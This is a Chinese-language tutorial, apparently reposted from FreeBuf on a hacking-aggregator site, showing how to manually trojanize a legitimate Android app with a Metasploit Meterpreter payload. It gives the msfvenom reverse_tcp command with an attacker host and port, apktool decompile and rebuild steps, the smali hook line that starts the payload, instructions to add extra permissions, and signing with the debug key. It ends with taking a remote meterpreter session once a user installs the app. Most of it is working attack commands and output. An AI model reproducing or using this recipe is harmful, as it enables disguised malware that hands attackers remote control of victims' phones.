记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

如何手动将Metasploit的Payloads注入到Android应用中

2017-07-07 17:00

由于大多数Android应用缺乏对二进制文件足够的保护,因此攻击者可以将一些恶意的payload轻松地植入到那些合法的Android应用中。这也是现如今,导致Android机中恶意软件传播迅速的重要原因之一。在我之前写的一篇文章中,我已经为大家演示了如何使用脚本将Metasploit payload注入到android应用中。在本文我将通过手动的方式实现payload的注入。

步骤1 – 生成payload

我们首先使用Metasploit MsfVenom来生成一个APK格式的Meterpreter payload文件。

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
 
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes

生成apk 及meterpreter payload.png

步骤2 – APK文件反编译

在做其它操作之前,我们必须先对目标应用和我们生成的pentestlab.apk文件进行反编译。这里我们可以借助apktool来实现。以下命令将执行反编译操作,其结果将被保存在.smali文件中。

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

apk反编译.png

步骤3 – 移动payload文件

接着我们需要将pentestlab.apk的payload文件,复制到应用程序所在的smali文件夹中。

/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage

步骤4 – Hook注入

检查应用程序的Android清单文件,以确定哪些是在打开应用程序时启动的MainActivity。这一步非常重要,否则payload将无法有效执行。

确认 main activity.png

MainActivity文件中黄色标亮的地方,我们需要替换成以下代码:

;->onCreate(Landroid/os/Bundle;)V

确认需要替换的代码.png

当activity启动时,以下代码将运行metasploit payload以及现有代码。

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

 hook注入.png

步骤5 – 添加Permission权限

为了使注入的payload更有效,我们可以额外的添加permission权限到应用的android清单文件中。一旦用户接受它们,那么我们将获取到更多的手机控制权限。

额外添加permission.png

步骤6 – 重新编译应用程序

完成了以上payload和permission的添加操作,下面我们要做的就是再次编译我们的APK文件。

java -jar apktool.jar b /root/Downloads/original/

编译被注入的apk.png

步骤7 – APK签名

如果我们的应用没有签名,将无法在设备上正常安装。这里我们可以使用默认的androiddebugkey:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

apk签名.png

当目标用户成功安装并运行该APK文件,我们将获取到一个meterpreter session。

通过被入侵的android apk获取meterpreter.png

*参考来源:pentestlab,FB小编 secist 编译,转载请注明来自FreeBuf.COM

知识来源: www.freebuf.com/articles/network/138688.html

阅读:146783 | 评论:0 | 标签:网络安全 Andriod应用 Metasploit payloads 注入 Android

想收藏或者和大家分享这篇好文章→复制链接地址

“如何手动将Metasploit的Payloads注入到Android应用中”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云